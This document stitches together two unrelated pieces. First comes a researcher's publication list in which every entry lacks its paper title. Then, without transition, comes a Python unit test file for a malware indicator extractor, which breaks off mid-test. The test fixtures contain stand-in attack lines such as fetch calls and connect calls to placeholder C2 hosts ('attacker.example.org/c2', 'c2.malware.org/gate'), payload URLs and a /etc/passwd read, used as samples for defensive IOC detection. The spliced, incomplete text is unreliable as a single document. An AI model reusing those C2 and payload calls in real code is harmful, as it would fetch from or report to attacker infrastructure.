Jaeseok Kim

121 papers A* 2A 1B 4C 10Journal 63Unranked 41
YearRankTypeTitle / Venue / Authors
2025 conf
ACL (1)
ChaeHun Park, Yujin Baek, Jaeseok Kim, Yu-Jung Heo, Du-Seong Chang, Jaegul Choo
2025 J jnl
CoRR
Youwon Jang, Yu-Jung Heo, Jaeseok Kim, Minsu Lee, Du-Seong Chang, Byoung-Tak Zhang
2025 conf
ICSR+AI (3)
Alessandra Sorrentino, Jasmine Pani, Carlo La Viola, Jaeseok Kim, Marco Vincenzo Maselli, Sofia Iacopini, Laura Fiorini, Filippo Cavallo
2024 conf
ICCAIS
Jaeseok Kim, Seonggun Joe
2024 J jnl
CoRR
Yujin Baek, ChaeHun Park, Jaeseok Kim, Yu-Jung Heo, Du-Seong Chang, Jaegul Choo
2024 J jnl
Mach. Learn. Sci. Technol.
Jaekak Yoo, Jae Won Choi, Eunha Kim, Eun-Jung Park, Ahruem Baek, Jaeseok Kim, Mun Seok Jeong, Youngwoo Cho, Tae Geol Lee, Min Beom Heo
2024 J jnl
Sci. Robotics
Anand Kumar Mishra, Jaeseok Kim, Hannah Baghdadi, Bruce R. Johnson, Kathie T. Hodge, Robert F. Shepherd
2024 A* conf
AAAI
Young-Jin Kim, Min-Jun Kim, Kyunghwan An, Jinwoo Ahn, Jaeseok Kim, Yu-Jung Heo, Du-Seong Chang, Eun-Sol Kim
2024 conf
ACL (Findings)
ChaeHun Park, Koanho Lee, Hyesu Lim, Jaeseok Kim, Junmo Park, Yu-Jung Heo, Du-Seong Chang, Jaegul Choo
2024 J jnl
CoRR
ChaeHun Park, Koanho Lee, Hyesu Lim, Jaeseok Kim, Junmo Park, Yu-Jung Heo, Du-Seong Chang, Jaegul Choo
2023 J jnl
SN Comput. Sci.
Muhammad Zain Bashir, Jaeseok Kim, Olivia Nocentini, Filippo Cavallo
2023 J jnl
Robotics
Jaeseok Kim, Olivia Nocentini, Muhammad Zain Bashir, Filippo Cavallo
2022 B conf
RO-MAN
Carlo La Viola, Laura Fiorini, Gianmaria Mancioppi, Jaeseok Kim, Filippo Cavallo
2022 conf
ALTRUIST@ICSR
Olivia Nocentini, Jaeseok Kim, Júlia Borràs Sol, Guillem Alenyà, Filippo Cavallo
2022 J jnl
Sensors
Olivia Nocentini, Jaeseok Kim, Muhammad Zain Bashir, Filippo Cavallo
2021 J jnl
IEEE Access
Yunseok Jang, Sangyoun Lee, Jaeseok Kim
2021 conf
AIR
Sourav Karmakar, Vineeth Gaddam, Jaeseok Kim, Anand Kumar Mishra, Abhishek Sarkar
2020 J jnl
J. Intell. Robotic Syst.
Jaeseok Kim, Nino Cauli, Pedro Vicente, Bruno D. Damas, Alexandre Bernardino, José Santos-Victor, Filippo Cavallo
2020 J jnl
IEEE Trans. Circuits Syst.
Hyukyeon Lee, Minjung Cho, Kyungmook Oh, Jaeseok Kim
2020 conf
ForItAAL
Olivia Nocentini, Jaeseok Kim, Filippo Cavallo
2019 conf
ICINCO (2)
Jaeseok Kim, Olivia Nocentini, Marco Scafuro, Raffaele Limosani, Alessandro Manzi, Paolo Dario, Filippo Cavallo
2019 J jnl
CoRR
Jaeseok Kim, Nino Cauli, Pedro Vicente, Bruno D. Damas, Alexandre Bernardino, José Santos-Victor, Filippo Cavallo
2019 J jnl
J. Vis. Commun. Image Represent.
Junwon Mun, Yuneseok Jang, Yoojun Nam, Jaeseok Kim
2019 J jnl
IET Circuits Devices Syst.
Sang-Won Kim, Min-Joon Kim, Jaeseok Kim
2019 conf
ICINCO (2)
Jaeseok Kim, Raffaele Limosani, Filippo Cavallo
2019 C conf
ICCE
Yoojun Nam, Junwon Mun, Yunseok Jang, Jaeseok Kim
2018 conf
ICARSC
Jaeseok Kim, Nino Cauli, Pedro Vicente, Bruno D. Damas, Filippo Cavallo, José Santos-Victor
2018 conf
ICDL-EPIROB
Nino Cauli, Pedro Vicente, Jaeseok Kim, Bruno D. Damas, Alexandre Bernardino, Filippo Cavallo, José Santos-Victor
2018 J jnl
IEEE Trans. Circuits Syst. II Express Briefs
Hyukyeon Lee, Kyungmook Oh, Minjeong Cho, Yunseok Jang, Jaeseok Kim
2018 J jnl
IEICE Trans. Fundam. Electron. Commun. Comput. Sci.
Byungcheol Kang, Jaeseok Kim
2018 conf
VTC Fall
Minjung Cho, Hyukyeon Lee, Kyungmook Oh, Jaeseok Kim
2018 J jnl
Signal Image Video Process.
Junwon Mun, Yuneseok Jang, Jaeseok Kim
2017 conf
TSP
Yunseok Jang, Junwon Mun, Kyoungmook Oh, Jaeseok Kim
2017 J jnl
IEICE Trans. Commun.
Hyunsub Kim, Jaeseok Kim
2017 J jnl
EURASIP J. Wirel. Commun. Netw.
Hyunsub Kim, Hyukyeon Lee, Jihye Koo, Jaeseok Kim
2017 conf
TSP
Hyukyeon Lee, Hyunsub Kim, Jaeseok Kim
2016 conf
ICOIN
Hyukyeon Lee, Hyunsub Kim, Minjoon Kim, Jaeseok Kim
2016 J jnl
IEICE Trans. Commun.
Minjoon Kim, Yunho Jung, Jaeseok Kim
2016 conf
IWSSIP
Junwon Mun, Yunseok Jang, Jaeseok Kim
2016 conf
ICUFN
Byungcheol Kang, Minjoon Kim, Jaeseok Kim
2016 conf
ISOCC
Jaehyuk So, Junwon Mun, Kyungmook Oh, Jaeseok Kim
2016 J jnl
IEEE Commun. Lett.
Hyunsub Kim, Minjoon Kim, Hyukyeon Lee, Jaeseok Kim
2016 conf
IWSSIP
Kyungmook Oh, Jaehyuk So, Jaeseok Kim
2016 J jnl
J. Commun. Networks
Jangyoung Park, Minjoon Kim, Hyunsub Kim, Yunho Jung, Jaeseok Kim
2016 conf
ISOCC
Yunseok Jang, Junwon Mun, Jaeseok Kim
2016 conf
ISOCC
Eunbi Ku, Chulho Chung, Byungcheol Kang, Jaeseok Kim
2016 conf
ICSPS
Juntae Kim, Jaeseok Kim, Seunghyung Lee, Jinuk Park, Minsoo Hahn
2015 J jnl
IEICE Trans. Fundam. Electron. Commun. Comput. Sci.
Jangyoung Park, Yunho Jung, Jaeseok Kim
2015 C conf
ICCE
Minjoon Kim, Jaeseok Kim
2015 C conf
LANMAN
Hyunsub Kim, Hyukyeon Lee, Jaeseok Kim
2015 conf
ISCE
Hyunsub Kim, Jaeseok Kim
2015 conf
ISCE
Junwon Mun, Jaeseok Kim
2014 J jnl
IEICE Trans. Fundam. Electron. Commun. Comput. Sci.
Youngjo Kim, Juwon Byun, Jaeseok Kim
2014 J jnl
IEICE Trans. Fundam. Electron. Commun. Comput. Sci.
Yunpyo Hong, Juwon Byun, Youngjo Kim, Jaeseok Kim
2014 J jnl
IEEE Trans. Consumer Electron.
Jangyoung Park, Kilhwan Kim, Jihun Koo, Jaeseok Kim
2014 J jnl
J. Commun. Networks
Jihun Koo, Soo-Yong Kim, Jaeseok Kim
2014 J jnl
IEEE Signal Process. Lett.
Minjoon Kim, Jangyoung Park, Kilhwan Kim, Jaeseok Kim
2014 J jnl
J. Electronic Imaging
Youngjo Kim, Juwon Byun, Jaeseok Kim
2014 J jnl
IEEE Commun. Lett.
Hyunsub Kim, Jangyoung Park, Hyukyeon Lee, Jaeseok Kim
2013 J jnl
Telecommun. Syst.
Sangmin Lee, Yunho Jung, Jaeseok Kim
2013 B conf
PIMRC
Jangyoung Park, Minjoon Kim, Hyunsub Kim, Jaeseok Kim
2013 J jnl
IEEE Trans. Commun.
Sinae Ji, Seongjoo Lee, Jaeseok Kim
2013 J jnl
IEICE Trans. Commun.
Kilhwan Kim, Jangyoung Park, Jihun Koo, Yongsuk Kim, Jaeseok Kim
2013 J jnl
IEEE Trans. Consumer Electron.
Yongmin Jung, Yunho Jung, Seongjoo Lee, Jaeseok Kim
2012 conf
ISOCC
Yongmin Jung, Chulho Chung, Jaeseok Kim, Yunho Jung
2012 J jnl
J. Signal Process. Syst.
Junha Im, Misuk Cho, Yongmin Jung, Yunho Jung, Jaeseok Kim
2012 J jnl
J. Commun. Networks
Soonkoo Kwon, Seongjoo Lee, Jaeseok Kim
2012 C conf
ISCAS
Jonghyun Bae, Yujin Yun, Kyungman Kim, Jaeseok Kim
2012 J jnl
IEICE Trans. Commun.
Kilhwan Kim, Yunho Jung, Seongjoo Lee, Jaeseok Kim
2012 conf
CCNC
Kilhwan Kim, Jangyoung Park, Jihun Koo, Yongsuk Kim, Jaeseok Kim
2012 conf
ICUWB
Jangyoung Park, Kilhwan Kim, Jaeseok Kim, Jihun Koo
2012 J jnl
J. Commun. Networks
Soonkoo Kwon, Sinae Ji, Jaeseok Kim
2012 conf
CCNC
Jihun Koo, Iljong Song, Yongsuk Kim, Jaeseok Kim
2011 J jnl
IEEE Trans. Consumer Electron.
Jangyoung Park, Kilhwan Kim, Jihun Koo, Jaeseok Kim
2011 J jnl
J. Circuits Syst. Comput.
Yunho Jung, Seongjoo Lee, Jaeseok Kim
2011 conf
SiPS
Junha Im, Sangmin Lee, Jaeseok Kim
2011 J jnl
IEICE Electron. Express
Junha Im, Yunho Jung, Seongjoo Lee, Jaeseok Kim
2011 J jnl
IEEE Trans. Consumer Electron.
Kyungman Kim, Jonghyun Bae, Jaeseok Kim
2010 J jnl
IEICE Electron. Express
Taewook Chung, Chulho Chung, Jaeseok Kim
2010 J jnl
IEEE Trans. Consumer Electron.
Juwon Byun, Jinha Choi, Jaeseok Kim
2010 conf
WCSP
Woosuk Cha, Jongsoo Jeong, Jaeseok Kim, Sukdea Yu
2010 conf
ICTC
Soonkoo Kwon, Sinae Ji, Jaeseok Kim
2010 conf
APCCAS
Taewook Chung, Chulho Chung, Jinha Choi, Jaeseok Kim
2010 B conf
SECON
Jaeseok Kim, Haeyong Kim, Jongsoo Jeong, Yongbin Seo, Pyeong Soo Mah
2010 conf
APCCAS
Jinha Choi, Jeyun Yu, Jaeseok Kim
2009 C conf
ISM
Jihah Nah, JongWeon Kim, Jaeseok Kim
2009 C conf
ICIS
Jihah Nah, JongWeon Kim, Jaeseok Kim
2009 J jnl
IEEE Trans. Consumer Electron.
Seongjoo Lee, Jaedeok Kim, Yunho Jung, Jaeseok Kim
2009 conf
VTC Fall
Kilhwan Kim, Yunho Jung, Jiho Kim, Jaeseok Kim
2009 conf
VTC Fall
Sangmin Lee, Yunho Jung, Jiho Kim, Jaeseok Kim
2009 C conf
ISCAS
Junha Im, Misuk Cho, Yunho Jung, Jaeseok Kim
2008 J jnl
IEICE Electron. Express
Jinha Choi, Wonjae Lee, Yunho Jung, Jaeseok Kim
2008 J jnl
IEICE Electron. Express
Woon Hong Kim, Yunho Jung, Seongjoo Lee, Jaeseok Kim
2007 conf
SoCC
Kilhwan Kim, Unsun Cho, Seunghyun Lim, Youngcheol Chae, Yunho Jung, Gunhee Han, Jaeseok Kim
2007 conf
SoCC
Sinae Ji, Woon Hong Kim, Chulho Chung, Jaeseok Kim
2007 conf
SiPS
Jeehoon An, Wonjae Lee, Jaeseok Kim
2007 J jnl
IEICE Electron. Express
Seongjoo Lee, Yunho Jung, Seungphyo Noh, Jaeseok Kim
2007 J jnl
IEEE Trans. Circuits Syst. II Express Briefs
Yunho Jung, Jiho Kim, Seongjoo Lee, Hongil Yoon, Jaeseok Kim
2007 conf
SiPS
Myungseok Oh, Wonjae Lee, Jaeseok Kim
2007 J jnl
IEEE Trans. Wirel. Commun.
Yunho Jung, Seongjoo Lee, Jaeseok Kim
2007 J jnl
IEEE Trans. Consumer Electron.
Wonjae Lee, Yunho Jung, Seongjoo Lee, Jaeseok Kim
2007 J jnl
IEICE Electron. Express
Jiho Kim, Yunho Jung, Byungjik Son, Jaeseok Kim
2007 J jnl
IEICE Electron. Express
Sangmin Lee, Yunho Jung, Jaeseok Kim
2007 J jnl
IEEE Trans. Consumer Electron.
Changhyun Lee, Yunho Jung, Seongjoo Lee, Yunje Oh, Jaeseok Kim
2007 C conf
CLUSTER
Jian Zhang, Jaeseok Kim, Mazin S. Yousif, Robert Carpenter, Renato J. O. Figueiredo
2006 C conf
PSIVT
Wonjae Lee, Seongjoo Lee, Jaeseok Kim
2006 A conf
ICME
Changhyun Lee, Seongjoo Lee, Yunje Oh, Jaeseok Kim
2006 J jnl
IEEE Trans. Consumer Electron.
Wonjae Lee, Seongjoo Lee, Jaeseok Kim
2006 J jnl
IEEE Trans. Circuits Syst. II Express Briefs
Seungphyo Noh, Yunho Jung, Seongjoo Lee, Jaeseok Kim
2005 conf
CICC
Yunho Jung, Jiho Kim, Seungphyo Noh, Hongil Yoon, Jaeseok Kim
2005 J jnl
IEEE Trans. Consumer Electron.
Yunho Jung, Seungphyo Noh, Horigil Yoon, Jaeseok Kim
2004 J jnl
IEEE Trans. Consumer Electron.
Taehyeun Ha, Seongjoo Lee, Jaeseok Kim
2004 J jnl
IEEE Signal Process. Lett.
Sangyun Hwang, Gunhee Han, Sungho Kang, Jaeseok Kim
2004 conf
SoCC
Wonjae Lee, Sangyun Hwang, Minho Kwon, Seongjoo Lee, Jaeseok Kim
2003 J jnl
IEEE Trans. Consumer Electron.
Yunho Jung, Hongil Yoon, Jaeseok Kim
2002 J jnl
IEEE Commun. Lett.
Seongjoo Lee, Jaeseok Kim
2002 J jnl
IEEE Trans. Veh. Technol.
Seongjoo Lee, Jaeseok Kim
2000 B conf
SMC
Bongjun Lee, Jaeseok Kim, Chulhee Lee
1998 J jnl
Int. J. Approx. Reason.
Swarup Medasani, Jaeseok Kim, Raghu Krishnapuram
1995 C conf
ISCAS
XuDuan Lin, KyungHi Chang, Jaeseok Kim
1993 A* conf
DAC
Nam Sung Woo, Jaeseok Kim
tests/unit/test_decompile_ioc_extractor.py
← Index tests/unit/test_decompile_ioc_extractor.py python
"""Unit tests for IOC extraction modules:
- ioc_extractor/ioc_extractor.py — IOCExtractorFromResults
- ioc_extractor/standalone_ioc_extractor.py — IOCScraper
"""
import pytest
from unittest.mock import MagicMock

from redb.extractors.ioc_extractor.standalone_ioc_extractor import (
    IOCScraper,
    IOCType,
    SourceType,
    ExtractedIOC,
)
from redb.extractors.ioc_extractor.ioc_extractor import IOCExtractorFromResults


# ============================================================================
# 8a. IOCExtractorFromResults
# ============================================================================

class TestIOCExtractorFromResults:
    def setup_method(self):
        self.log = MagicMock()

    def test_extract_from_strings(self):
        results = {
            "strings": [
                {"string": "Visit https://evil.com/payload", "string_offset": 0x100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_from_decompiled(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "connect_to('https://c2.malware.org/gate');",
                    "decompiled_function_hash": "hash123",
                    "function_type": "USER",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_skips_library_functions(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "call https://should-skip.com",
                    "decompiled_function_hash": "lib_hash",
                    "function_type": "LIBRARY",
                },
                {
                    "decompiled_function": "jmp https://also-skip.com",
                    "decompiled_function_hash": "thunk_hash",
                    "function_type": "THUNK",
                },
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_handles_bytes_strings(self):
        results = {
            "strings": [
                {"string": b"Visit https://evil.net/gate", "string_offset": 0}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_empty_results(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_from_text_raw(self):
        """text_raw entries are scraped and tagged with SourceType.TEXT_RAW."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {
                    "content": "var x = fetch('https://attacker.example.org/c2');",
                    "content_hash": "rawhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL and ioc.source_type == SourceType.TEXT_RAW
            for ioc in iocs
        )

    def test_extract_from_text_normalized(self):
        """text_normalized entries are scraped and tagged with TEXT_NORMALIZED.
        This is the surface that catches IOCs hidden behind eval(atob(...)) or
        similar wrappers — the deobfuscator unwraps them, this path scrapes
        the unwrapped form."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_normalized": [
                {
                    "content": "fetch('http://hidden.example.com/payload');",
                    "content_hash": "normhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL
            and ioc.source_type == SourceType.TEXT_NORMALIZED
            for ioc in iocs
        )

    def test_extract_text_surfaces_distinct_from_decompiled(self):
        """Same URL appearing in raw and normalized forms produces two IOCs
        with distinct source_type values, so analysts can tell them apart."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {"content": "https://shared.example.com/", "content_hash": "h1"}
            ],
            "text_normalized": [
                {"content": "https://shared.example.com/", "content_hash": "h2"}
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        kinds = {ioc.source_type for ioc in iocs if ioc.ioc_type == IOCType.URL}
        assert SourceType.TEXT_RAW in kinds
        assert SourceType.TEXT_NORMALIZED in kinds

    def test_prepare_export_clickhouse(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is not None
        data, col_names, col_types = export
        assert len(data) > 0
        assert len(col_names) == 6
        assert len(col_types) == 6

    def test_prepare_export_print(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("PrintExporter")
        assert isinstance(export, list)
        assert len(export) > 0
        assert "sha256" in export[0]
        assert "ioc_type" in export[0]

    def test_prepare_export_no_iocs(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is None

    def test_get_clickhouse_table(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        assert extractor.get_clickhouse_table() == "redb_iocs"

    def test_tag(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        tag = extractor.tag()
        assert isinstance(tag, str)


# ============================================================================
# 8b. IOCScraper (standalone_ioc_extractor.py)
# ============================================================================

class TestIOCScraperIPv4:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv4(self):
        # Use a routable public IP (not in RFC 5737 test ranges, not private)
        text = "Connect to 185.100.87.202 for command"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 1
        assert ipv4_iocs[0].ioc_value == "185.100.87.202"

    def test_scrape_ipv4_private_excluded(self):
        text = "192.168.1.1 and 8.8.8.8"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 0


class TestIOCScraperIPv6:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv6(self):
        text = "Connect to 2001:0db8:85a3:0000:0000:8a2e:0370:7334"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv6_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV6]
        # 2001:0db8 is documentation range, but the regex may still match
        # we just check no crash and proper handling
        assert isinstance(ipv6_iocs, list)


class TestIOCScraperURL:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_url(self):
        text = 'load("https://evil.com/payload")'
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1
        assert "evil.com" in url_iocs[0].ioc_value

    def test_scrape_defanged_url(self):
        text = "hxxps://evil[.]com/payload"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1


class TestIOCScraperEmail:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_email(self):
        text = "Send report to [email protected] for review"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        email_iocs = [i for i in iocs if i.ioc_type == IOCType.EMAIL]
        assert len(email_iocs) >= 1
        assert email_iocs[0].ioc_value == "[email protected]"


class TestIOCScraperFQDN:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_fqdn(self):
        text = "Resolved evil.com in DNS lookup"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert any(ioc.ioc_value == "evil.com" for ioc in fqdn_iocs)

    def test_scrape_fqdn_excluded(self):
        text = "Visit example.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert not any(ioc.ioc_value == "example.com" for ioc in fqdn_iocs)


class TestIOCScraperJSContext:
    """Verifies the JS-context FQDN filter rejects JS object-access syntax
    that shape-matches a hostname while preserving real C2 hostnames.

    The corpus below comes from a real Vjw0rm-family screenshot showing 12
    'Domains' extracted from a JS sample of which only 2 were genuine. The
    filter must drop the 10 FPs and keep the 2 TPs.
    """

    def _scrape_fqdns(self, scraper, fragment: str):
        # Wrap each fragment in spaces so the FQDN regex's lookbehind succeeds
        # (the pre-token character is a non-identifier).
        text = f" {fragment} "
        return [
            ioc.ioc_value
            for ioc in scraper.scrape(text, SourceType.STRING, "test")
            if ioc.ioc_type == IOCType.FQDN
        ]

    def test_default_mode_keeps_legacy_behavior(self):
        """Without js_context=True the filter is dormant — every FQDN that
        the regex catches must still pass _validate_fqdn the same way it did
        before this change."""
        scraper = IOCScraper()  # js_context defaults to False
        assert self._scrape_fqdns(scraper, "process.id") == ["process.id"]
        assert self._scrape_fqdns(scraper, "lib.so") == ["lib.so"]
        assert self._scrape_fqdns(scraper, "system.net") == ["system.net"]

    def test_js_context_drops_fp_tlds(self):
        """gTLDs that double as common JS property suffixes (`.name`, `.id`,
        `.so`, `.post`, `.services`, `.tools`, ...) are rejected wholesale
        when js_context is set."""
        scraper = IOCScraper(js_context=True)
        # Each of these is in the screenshot and must be rejected purely on
        # the TLD blocklist (some also hit the SLD blocklist, but the TLD
        # check fires first).
        assert self._scrape_fqdns(scraper, "component.name") == []
        assert self._scrape_fqdns(scraper, "exploit.name") == []
        assert self._scrape_fqdns(scraper, "func.name") == []
        assert self._scrape_fqdns(scraper, "proc.name") == []
        assert self._scrape_fqdns(scraper, "process.name") == []
        assert self._scrape_fqdns(scraper, "lib.so") == []
        assert self._scrape_fqdns(scraper, "proc.id") == []
        assert self._scrape_fqdns(scraper, "http.post") == []
        assert self._scrape_fqdns(scraper, "this.sandboxindicators.services") == []

    def test_js_context_drops_fp_slds(self):
        """JS keywords / framework roots used as the leftmost segment of a
        dotted chain are rejected even when the TLD is legitimate (`system.net`
        is the canonical example: `.net` is a real TLD but `system` is never
        a hostname)."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "system.net") == []
        assert self._scrape_fqdns(scraper, "this.foo.com") == []
        assert self._scrape_fqdns(scraper, "process.config.json") == []
        assert self._scrape_fqdns(scraper, "vue.app") == []
        assert self._scrape_fqdns(scraper, "firebase.io") == []

    def test_js_context_preserves_real_c2(self):
        """The screenshot's two true positives must survive: protocol prefix
        SLDs (`ftp`, `smtp`) are intentionally NOT in JS_FP_SLDS so legitimate
        C2 / exfil hostnames keep flowing into the IOC table."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "ftp.syfrusvoid.com") == ["ftp.syfrusvoid.com"]
        assert self._scrape_fqdns(scraper, "smtp.gmail.com") == ["smtp.gmail.com"]
        # And a generic malware-style hostname (no TLD/SLD overlap with code)
        # still passes:
        assert self._scrape_fqdns(scraper, "evil-c2.example.org") == ["evil-c2.example.org"]


class TestIOCScraperOnion:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_onion(self):
        # v2 onion address (16 chars)
        text = "Connect to expyuzz4wqqyqhjn.onion"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        onion_iocs = [i for i in iocs if i.ioc_type == IOCType.ONION]
        assert len(onion_iocs) >= 1


class TestIOCScraperHashes:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_md5_hash(self):
        md5_val = "d41d8cd98f00b204e9800998ecf8427e"
        text = f"Hash: {md5_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        md5_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_MD5]
        assert len(md5_iocs) == 1

    def test_scrape_sha1_hash(self):
        sha1_val = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
        text = f"Hash: {sha1_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        assert len(sha1_iocs) == 1

    def test_scrape_sha256_hash(self):
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        assert len(sha256_iocs) == 1

    def test_scrape_hash_dedup(self):
        # A SHA256 match should prevent the same hex being emitted as SHA1 substring
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        # SHA256 first 40 chars should not appear as separate SHA1
        assert len(sha256_iocs) >= 1
        first40 = sha256_val[:40]
        assert not any(ioc.ioc_value == first40 for ioc in sha1_iocs)

    def test_scrape_invalid_hash(self):
        # All zeros should be excluded
        text = "Hash: " + "0" * 32
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        hash_iocs = [i for i in iocs if i.ioc_type in (IOCType.HASH_MD5, IOCType.HASH_SHA1, IOCType.HASH_SHA256)]
        assert len(hash_iocs) == 0


class TestIOCScraperCVECWE:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_cve(self):
        text = "Exploiting CVE-2021-44228"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cve_iocs = [i for i in iocs if i.ioc_type == IOCType.CVE]
        assert len(cve_iocs) == 1
        assert cve_iocs[0].ioc_value == "CVE-2021-44228"

    def test_scrape_cwe(self):
        text = "This is CWE-79 in action"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cwe_iocs = [i for i in iocs if i.ioc_type == IOCType.CWE]
        assert len(cwe_iocs) == 1
        assert cwe_iocs[0].ioc_value == "CWE-79"


class TestIOCScraperCrypto:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_btc_address(self):
        # A valid-looking BTC P2PKH address
        text = "Send BTC to 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        btc_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_BTC]
        assert len(btc_iocs) >= 1

    def test_scrape_eth_address(self):
        text = "ETH wallet: 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        eth_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_ETH]
        assert len(eth_iocs) >= 1


class TestIOCScraperPaths:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_linux_path(self):
        text = "Read config from /etc/passwd"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_LINUX]
        assert len(path_iocs) >= 1
        assert any("/etc/passwd" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path(self):
        text = r"Load from C:\Windows\System32\cmd.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 1
        assert any(r"C:\Windows\System32\cmd.exe" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path_source_escaped(self):
        """Paths embedded in JS / JSON / PowerShell string literals appear with
        doubled backslashes. The regex must accept both forms, and the stored
        IOC must be normalised so escaped and runtime forms collapse to one."""
        text = "const exclusions = ['C:\\\\Windows\\\\Temp', 'C:\\\\Users\\\\Public'];"
